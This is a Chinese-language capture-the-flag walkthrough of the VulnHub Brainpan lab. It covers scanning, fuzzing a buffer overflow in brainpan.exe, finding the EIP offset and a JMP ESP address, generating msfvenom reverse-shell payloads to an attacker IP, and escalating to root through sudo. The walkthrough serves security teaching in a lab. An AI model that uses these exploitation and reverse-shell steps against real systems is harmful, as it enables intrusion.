vulnhub靶机Brainpan

主机发现

arp-scan -l

vulnhub靶机Brainpan_第1张图片

端口扫描

nmap --min-rate 10000 -p- 192.168.21.156

vulnhub靶机Brainpan_第2张图片

服务扫描

nmap -sV -sT -O -p9999,10000 192.168.21.156

vulnhub靶机Brainpan_第3张图片

这个地方感到了有点不对劲,python起来的一个web端口

漏洞扫描

nmap --script=vuln -p9999,10000 192.168.21.156

vulnhub靶机Brainpan_第4张图片

意料之中,先去看一下web的内容

vulnhub靶机Brainpan_第5张图片

这个就是一张图片,但是还是扫个目录看一下

dirb http://192.168.21.156:10000

vulnhub靶机Brainpan_第6张图片

vulnhub靶机Brainpan_第7张图片

这里有一个exe文件,想都不用想要下下来

vulnhub靶机Brainpan_第8张图片

文件没有什么问题

vulnhub靶机Brainpan_第9张图片

但是9999端口发现了点东西,web不能直接交互用nc连着试试

nc 192.168.21.156 9999

vulnhub靶机Brainpan_第10张图片

接下来只剩下一条线索(exe文件)

前面已经查看了文件有没有特殊的地方,接下来就剩下文件的内容了

strings brainpan.exe

vulnhub靶机Brainpan_第11张图片

后面还有很多,但是发现这个界面挺熟悉的,那么9999端口上运行的也是这个exe了

这里可能这个有用

[get_reply] copied %d bytes to buffer

Shitstorm

试一下

vulnhub靶机Brainpan_第12张图片

这里只是成功了但是没有看到什么,去windows试一下

vulnhub靶机Brainpan_第13张图片

vulnhub靶机Brainpan_第14张图片

试过之后发现

vulnhub靶机Brainpan_第15张图片

这里有复制字符串的函数这里很有可能出现溢出漏洞

这里写脚本吧

vulnhub靶机Brainpan_第16张图片

vulnhub靶机Brainpan_第17张图片

多跑几遍

vulnhub靶机Brainpan_第18张图片

这里发现600-700之间出现报错,那么软件是在600字节的时候崩的,需要再一次确定具体的字节数,利用不一样的字节来判断什么时候出现溢出

msf-pattern_create -l 600

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9

修改刚刚写的脚本

vulnhub靶机Brainpan_第19张图片

需要使用新的软件immunitydebugger

vulnhub靶机Brainpan_第20张图片

注意寄存器,需要吧缓冲区全部占满,然后吧我们的shell写进去

先运行脚本

vulnhub靶机Brainpan_第21张图片

注意要这个软件的exe文件在运行状态

vulnhub靶机Brainpan_第22张图片

这里只要看eip(这个是下一个指令的位置),记住eip的值

35724134

计算偏移量

msf-pattern_offset -l 600 -q 35724134

524字节填充eip

那么修改一下脚本

vulnhub靶机Brainpan_第23张图片

B和c(看看寄存器来确定b,剩下来的就是c的数据),再来运行程序

python2.7 yichu.py

vulnhub靶机Brainpan_第24张图片

堆栈的情况

vulnhub靶机Brainpan_第25张图片

Ascii编码(42 = b)(hex)

我们找到了eip,只需要在后面放入shell再将eip指向shell(350-400)就可以

修改脚本(扩容c)

vulnhub靶机Brainpan_第26张图片

只能多不能少

测试

vulnhub靶机Brainpan_第27张图片

vulnhub靶机Brainpan_第28张图片

计算字节数

vulnhub靶机Brainpan_第29张图片

一共468字节

去掉坏字符,不同的程序坏字符不一样,要去掉这些

去github来解决可能的坏字符问题

git clone GitHub - cytopia/badchars: Bad char generator to instruct encoders such as shikata-ga-nai to transform those to other chars.

./badchars -f ruby

vulnhub靶机Brainpan_第30张图片

修改脚本

vulnhub靶机Brainpan_第31张图片

进行测试

vulnhub靶机Brainpan_第32张图片

注意esp寄存器,右键follow in dump一下

在ff之后发现00且不是连续的证明有坏字节

此处只有00是坏字节

修改脚本(在前面的esp上面写出eip的地址)

查看jmp esp的代码

vulnhub靶机Brainpan_第33张图片

vulnhub靶机Brainpan_第34张图片

能找到brainpan的程序

发现安全机制都没有启用

这个找到的地址就能发现这个是esp指针就能重定向到esp去

0x311712f3

因为有大小端问题需要反写进入cpu(一般是小端)(字节倒序)

反弹shell编写

msfvenom -p windows/shell_reverse_tcp lhost=192.168.21.146 lport=666 -b "\x00" -e x86/shikata_ga_nai -f c

vulnhub靶机Brainpan_第35张图片

记得要用nop来空格解码

vulnhub靶机Brainpan_第36张图片

测试

vulnhub靶机Brainpan_第37张图片

成功

记得修改shell需要攻击靶机了

生成linux的shell

msfvenom -p linux/x86/shell_reverse_tcp lhost=192.168.21.146 lport=666 -b "\x00" -e x86/shikata_ga_nai -f cvulnhub靶机Brainpan_第38张图片

修改脚本

vulnhub靶机Brainpan_第39张图片

测试

vulnhub靶机Brainpan_第40张图片

成功拿到

提升交互性

python -c "import pty;pty.spawn('/bin/bash')"

vulnhub靶机Brainpan_第41张图片

sudo -l

vulnhub靶机Brainpan_第42张图片

更具提示往没有密码的位置钻

vulnhub靶机Brainpan_第43张图片

这里有command可以去试试

vulnhub靶机Brainpan_第44张图片

vulnhub靶机Brainpan_第45张图片

直接一个/bin/bash抬走下一位

vulnhub靶机Brainpan_第46张图片

结束

你可能感兴趣的:(vulnhub,网络安全,web安全,安全,系统安全)